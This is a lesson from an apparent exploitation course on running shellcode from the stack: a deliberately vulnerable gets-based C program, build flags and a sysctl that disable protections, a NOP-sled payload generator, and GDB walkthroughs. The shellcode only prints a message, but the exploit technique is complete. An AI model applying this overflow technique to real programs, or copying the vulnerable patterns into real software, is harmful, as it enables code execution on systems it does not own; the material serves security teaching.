Executing Code on the Stack

Stack SmashingLesson 6 of 775 minutesLessonNo lab next

Where do you find something worth jumping to?

Both exploits so far came down to a decision about eight bytes. Fill line, fill the saved frame pointer, and the next eight land in the slot ret reads. Whatever we put there is where the program continues. In Stack Overflows and Return Addresses we put win there, and in Crashes and Evidence of Control we put log_query.

Both destinations were rather convenient. win was planted to be found, and log_query gave the second example a result we could recognise. We can’t count on every program having a useful function waiting for us, though. What happens when there isn’t one?

Let’s think about this for a second. Code, just like the stack, just like addresses, and just like data, is just bytes.

We’ve been putting our own bytes into the process the whole time. In the last lesson, gets copied 520 A bytes into line and beyond it, where they stayed while the program printed No such user. and returned. We picked those bytes because they were easy to recognise. Their contents weren’t doing anything more interesting than that.

So put instructions in that space instead of filler, and point the return slot at them. That is shellcode, and it’s how we’re going to turn our program function redirection into arbitrary code execution.

Preparing the VM

Create a working directory for this lesson and move into it:

mkdir -p ~/underdunn-course/stack-code ~/underdunn-course/notes
cd ~/underdunn-course/stack-code

Save the complete target as lookup.c:

#include <stdio.h>
#include <stdlib.h>

void log_query(void)
{
    puts("Query logged.");
    exit(0);
}

void answer_query(void)
{
    char line[512];
    gets(line);
    puts("No such user.");
}

int main(void)
{
    puts("Name:");
    answer_query();
    puts("Lookup complete.");
    return 0;
}

Save the input generator as probe.py:

from pathlib import Path

Path("probe.bin").write_bytes(b"A" * 528)
print("wrote 528 bytes")

Two things to set before we start. First, turn off address space randomization for the VM. Randomization can place regions such as the stack at different addresses each time a process starts, while this lesson needs one measured stack address to remain useful. We will give the protection a proper treatment in the ASLR lesson; for now, move it out of the way:

sudo sysctl -w kernel.randomize_va_space=0
cat /proc/sys/kernel/randomize_va_space

Second, build lookup.c with the deliberately forgiving settings this example needs:

gcc -g -O0 -fno-omit-frame-pointer -fno-stack-protector -no-pie -z execstack lookup.c -o lookup-exec

The gets warnings appear as before, and the output name is new so you keep both builds. The code addresses have not moved:

nm -n ./lookup-exec | grep -E ' (log_query|answer_query)$'

0000000000401176 T log_query
0000000000401197 T answer_query

-fno-stack-protector removes the canary check, -no-pie keeps the program’s own code at fixed addresses, and -z execstack requests permission to execute bytes on the stack. Those are conditions of the lesson, not sensible defaults. The mitigations section puts each protection back and examines what it changes.

The sysctl lasts until the VM reboots, so run it again if you come back after a restart.

Find the buffer

Generate the 528-byte probe, then stop at the beginning of answer_query and read the bottom of its frame:

python3 probe.py

gdb -q ./lookup-exec

(gdb) break answer_query
(gdb) run < probe.bin
(gdb) info registers rsp
(gdb) print/x &line

rsp            0x7fffffffde10      0x7fffffffde10

GDB places the source-level breakpoint after the function prologue, so rsp is &line at that moment. Printing &line gives you a second check on the same address. The frame reserved its 512 bytes with sub rsp,0x200, leaving the stack pointer at the bottom of the buffer.

That gives us the buffer’s address for this run, which looks like the answer we came for. There’s a catch, though: launching the program in GDB and launching it from the shell don’t give it quite the same environment.

Before relying on that number, let’s see what difference the environment makes.

The debugger’s answer is not the shell’s

Remember that main is not the first function called in a process? The pre-main code uses the same stack, whose initial contents include the Linux arguments and environment variables.

Those values sit above the later function frames, so their total size can shift the address of line. GDB does not give the program exactly the same environment as your shell, which means the address can differ even with randomization disabled.

Start it again and watch what one change of environment is worth.

set exec-wrapper puts a command in front of whatever GDB launches, so env -i starts the program with no environment at all:

gdb -q ./lookup-exec

(gdb) set exec-wrapper env -i
(gdb) break answer_query
(gdb) run < probe.bin
(gdb) info registers rsp
(gdb) print/x &line

rsp            0x7fffffffead0

That is about 3260 bytes of difference from one change in environment. Mine moved by sixteen bytes again just from building in a different directory, because the working directory is in the environment too. So we cannot take a number out of GDB and expect the shell to agree.

Leave GDB with quit, confirming when it asks.

The payload

Machine code delivered as input, to be run by a program that believed it was reading data, is called shellcode.

The name comes from what Aleph One’s version did: his payload called execve on /bin/sh, which on a 1996 Unix machine is about the most useful thing you could arrange, and it is why the technique got the attention it did.

Ours prints a line and exits, which establishes that the processor ran our instructions just as completely as a shell would.

For this example, we’ll use the supplied bytes below to print a message and exit. The comments show which instructions they encode, so the listing doesn’t have to remain a wall of hexadecimal when we meet it in the debugger.

Use the bytes as supplied for now; writing the instructions ourselves is the subject of the next lesson.

SHELLCODE = bytes.fromhex(
    "488d351d000000"    # lea  rsi,[rip+0x1d]   the message, 0x1d bytes ahead
    "bf01000000"        # mov  edi,1            file descriptor 1, standard output
    "ba19000000"        # mov  edx,25           25 bytes to write
    "b801000000"        # mov  eax,1            system call 1, write
    "0f05"              # syscall
    "bf00000000"        # mov  edi,0            exit status 0
    "b83c000000"        # mov  eax,60           system call 60, exit
    "0f05"              # syscall
) + b"Executing from the stack."

These are two system calls, made directly rather than through a library function.

Each loads its arguments into registers before syscall transfers into the kernel. rax names the call, and rdi, rsi, and rdx carry the first three arguments, so the two blocks request write(1, message, 25) followed by exit(0).

The message sits immediately after the last instruction, and lea rsi,[rip+0x1d] finds it by adding 0x1d to whatever rip holds at that moment rather than by naming a location.

So the payload can work out where its own data is without being told where it was placed, which is a useful property given the last two sections. We could not tell it where to look even if it needed telling.

The whole thing comes to 61 bytes, which is the figure the sled has to work around.

One constraint arrives from the delivery path rather than from the payload. gets copies until it reaches a newline, so a 0x0a anywhere in our input would cut it short. None of these bytes are 0x0a, and the message contains no newline either, which is why the output will run straight into your shell prompt.

Aim at a sled, not at a byte

We have a problem the last two lessons did not.

log_query sat at 0x401176 in every single run, because a non-PIE executable loads its code at a fixed address. A stack address depends on things the program does not control, and we have just watched one move 3260 bytes on a single change of environment.

Aleph One ran into the same wall in 1996 and wrote it down plainly:

The problem is we need to guess exactly where the address of our code will start. If we are off by one byte more or less we will just get a segmentation violation or a invalid instruction.

The answer in that paper is the one we will use. nop is an instruction that does nothing: one byte, 0x90, whose only effect is that rip moves past it to whatever comes next.

Fill the front of the buffer with those and you have a region where every byte is a valid place to arrive, because arriving anywhere in it leads forward to the same destination.

One way to increase our chances is to pad the front of our overflow buffer with NOP instructions. […] If we are lucky and the return address points anywhere in the string of NOPs, they will just get executed until they reach our code.

That region is a NOP sled, and the name describes what execution does once it lands there. The nop instructions accomplish nothing themselves, which is the point of choosing them. The address can now identify a position within that region instead of one exact byte.

The buffer holds 512 bytes and the payload needs 61, so the sled gets the remaining 451. Keeping the payload inside the buffer leaves the saved frame pointer as eight bytes of its own, which matches the frame you derived in the last lesson:

The input laid out across the frame

Byte offsets from the start of line. Higher addresses at the top.

Offsets 520–527
Saved return address8 bytes
The address ret will use
Offsets 512–519
Saved frame pointer8 bytes
Eight bytes of filler
Offsets 451–511
Payload61 bytes · grouped
Offsets 0–450
NOP sled451 bytes · grouped
451 nop instructions

Region heights are not to scale. Input layout, not an execution snapshot. Both green regions occupy the 512-byte line buffer.

Nothing here reads the saved frame pointer again before ret runs, so those eight bytes only need to be something. I use B for them so they are recognisable in a debugger.

The last eight bytes, at offsets 520 to 527, are the return slot. That is unchanged from the last lesson.

The address should point into the sled. Aiming at the payload’s first byte needs the buffer address to be exactly right, whereas the sled is the only region where being wrong is survivable. I will aim at &line + 225, its midpoint, which leaves 225 bytes of room for error in each direction.

Follow rip through eight NOPs and into the first instruction

A miniature example with illustrative addresses, rather than the walkthrough’s 451-byte sled. Every selected byte is shown. Move the slider from before ret through the first payload instruction.

Before ret

Selected stack bytes · higher addresses at the top

Message · one byte0x7fff00e4

ASCII A

Next instruction · mov edi, 10x7fff00df

Not executed in this view

bf01000000

First instruction · lea rsi, [rip+5]0x7fff00d8

Seven-byte instruction

488d3505000000

NOP sled · eight individual bytes0x7fff00d0

90 = nop · execution moves left to right

9090909090909090

Live registers

rip: Calling function: ret
rsi: Not shown · unchanged
Return destination: 0x7fff00d0

The filled, outlined bytes form the instruction at rip, which points to its first byte. Each nop is one byte long, so executing it advances rip by one without changing rsi or memory.

Outlined bytes form the next instruction; blue underlines mark changed registers. Byte addresses increase left to right. Unshown values are omitted, not zero.

How much address variation the sled tolerates

Aiming at the midpoint of a 451-byte sled means any landing point from &line through &line + 450 reaches the payload, so the address may be wrong by up to 225 bytes in either direction.

On this build the bare run needs &line + 64 at minimum, and an aim anywhere from +64 to +515 prints the message. That is 452 values, the sled’s length plus one, because the requirement really is just to land somewhere in it.

Two of those 452 don’t work, and the reason is not the sled.

&line + 250 is 0x7fffffffdf0a and &line + 506 is 0x7fffffffe00a, so the aim itself ends in a newline byte and gets stops reading in the middle of our address.

Those two exceptions come from the delivery constraint we met earlier, not from the size of the sled. It’s easy to think of the pointer as separate because we compute it rather than write it out ourselves, but it still has to arrive through the same input function as the payload.

There’s also a limit to how much space we can spend on this. Our 451 bytes are generous only because gets accepts an unbounded line into a 512-byte buffer. A sixteen-byte buffer would leave no room for this sled and payload.

Even with that space, an address error larger than the sled is still too large. The few hundred bytes of tolerance don’t help with a buffer that moves much further on every run.

That brings us back to the setting we changed at the start: we haven’t stopped needing a usable address just because we’ve allowed some room for error.

Run it

Save this as payload.py, with BUFFER set to the address your own GDB reported:

from pathlib import Path
from struct import pack

SHELLCODE = bytes.fromhex(
    "488d351d000000"    # lea  rsi,[rip+0x1d]
    "bf01000000"        # mov  edi,1
    "ba19000000"        # mov  edx,25
    "b801000000"        # mov  eax,1
    "0f05"              # syscall
    "bf00000000"        # mov  edi,0
    "b83c000000"        # mov  eax,60
    "0f05"              # syscall
) + b"Executing from the stack."

BUFFER = 0x7fffffffde10

sled = 512 - len(SHELLCODE)
payload = b"\x90" * sled + SHELLCODE + b"B" * 8 + pack("<Q", BUFFER + sled // 2)

Path("input.bin").write_bytes(payload)
print(f"sled {sled}, shellcode {len(SHELLCODE)}, aim {hex(BUFFER + sled // 2)}, total {len(payload)}")

python3 payload.py

sled 451, shellcode 61, aim 0x7fffffffdef1, total 528

Then run it:

./lookup-exec < input.bin

Name:
No such user.
Executing from the stack.

Look at what ran

The bytes are in the buffer as data, but the processor is about to read them as instructions. Stop after gets returns and observe both ends of the sled:

(gdb) set disassembly-flavor intel
(gdb) break *0x4011ba
(gdb) run < input.bin
(gdb) x/3i $rsp

   0x7fffffffde10:  nop
   0x7fffffffde11:  nop
   0x7fffffffde12:  nop

(gdb) x/9i $rsp+451

   0x7fffffffdfd3:  lea    rsi,[rip+0x1d]        # 0x7fffffffdff7
   0x7fffffffdfda:  mov    edi,0x1
   0x7fffffffdfdf:  mov    edx,0x19
   0x7fffffffdfe4:  mov    eax,0x1
   0x7fffffffdfe9:  syscall
   0x7fffffffdfeb:  mov    edi,0x0
   0x7fffffffdff0:  mov    eax,0x3c
   0x7fffffffdff5:  syscall
   0x7fffffffdff7:  rex.RB js 0x7fffffffe05f

The first eight instructions are ours. The rather odd-looking line after them is the disassembler carrying on into the message and trying to read its text as another instruction.

It doesn’t know where we intended the code to end. We asked it to decode bytes, and it has obliged; that doesn’t tell us that the processor executed the message.

The lea comment names 0x7fffffffdff7, which is where the message begins. Finally, the two slots above the buffer:

(gdb) x/gx $rbp
(gdb) x/gx $rbp+8

0x7fffffffe010:  0x4242424242424242
0x7fffffffe018:  0x00007fffffffdef1

The frame pointer slot holds our eight B bytes, which nothing reads. The return slot holds 0x7fffffffde10 + 225, inside the sled, exactly as aimed.

You can watch the slide itself. Break on ret instead, step one instruction, then step five more:

(gdb) break *0x4011cb
(gdb) run < input.bin
(gdb) stepi
(gdb) info registers rip

rip            0x7fffffffdef1      0x7fffffffdef1

(gdb) stepi 5
(gdb) info registers rip

rip            0x7fffffffdef6      0x7fffffffdef6

Five instructions, five bytes, no other register touched. There are 221 more nop instructions between that address and the payload.

Conditions for stack execution

Three conditions had to hold, and I arranged two of them:

Condition	How it was satisfied	Who arranged it
Somewhere to put bytes, with room	512-byte buffer, 61-byte payload, no read limit in `gets`	the program
The stack mapped executable	`-z execstack` at link time	me, deliberately
A usable address for the buffer	randomization off on the VM, plus a sled to absorb the rest of the error	me, deliberately

The program supplied the unbounded read, but we supplied some helpful conditions around it. In particular, the other two rows came from build and VM settings we deliberately chose.

Those choices are part of the explanation for the result, so we can’t carry the result over to an environment where the protections are enabled and expect it to hold.

When it doesn’t work

The dominant failure here is worth stating on its own: the exploit works under GDB and faults in the shell.

GDB’s environment is not your shell’s, so the buffer is not at the same address in the two, and covering that difference is the sled’s whole job.

Work forward through these rather than adjusting the padding:

If it faults in the shell but works in GDB, your aim is outside the sled, so try BUFFER + 100, then + 200, then + 300, because any landing point inside the 451 nop instructions will do. To make the two agree exactly instead, normalise both environments with set exec-wrapper env -i in GDB and env -i ./lookup-exec < input.bin in the shell.
If it prints nothing and exits with status 0, you landed past the write and reached the exit syscall, so aim lower in the sled.
If it faults under GDB as well, read x/gx $rbp+8 and check that the value falls between &line and &line + 450.
If the script does not report 528 bytes, regenerate input.bin before interpreting anything else.
If nothing runs and the input looks truncated, check for a 0x0a byte in whatever you changed.

To recover a known state, rebuild from the supplied source with the exact command above, reread &line in GDB, and regenerate the input.

Change the message

The payload prints a fixed line. Changing it takes two coupled edits: the message bytes, and the mov edx that tells write how many bytes to send.

Let’s use b"Hello from the stack." as the replacement. The instruction bytes for that change are supplied below.

Hello from the stack. is 21 bytes, so ba19000000 becomes ba15000000 and the shellcode shrinks to 57 bytes.

The sled grows to 455 to keep the total at 528, and the aim follows its midpoint. The program prints Hello from the stack.

The lea displacement of 0x1d does not change, because it is measured from the end of the last instruction and the message still begins there.

Change the length in only one of the two places and the result says which you forgot.

Leaving edx at 25 with a 21-byte message prints Hello from the stack.BBBB, because write was told to send four more bytes than the message holds and the next four bytes are the frame pointer filler. Setting it too low cuts the line short instead.

Knowledge check

Question 1 of 3

Why does the saved return address point into the NOP sled instead of at the payload's first byte?

A bare run's buffer address differs from the debugger's, and the sled absorbs the gapNOP instructions align the payload to an eight-byte boundary as the processor requiresThe payload cannot sit first because gets fills a buffer from the top downwards

From bytes to instructions

Changing the message meant editing its text and the instruction that supplies its length. That’s already two places to keep straight for a fairly small change. Next we’ll write the instructions in assembly and let an assembler produce the bytes.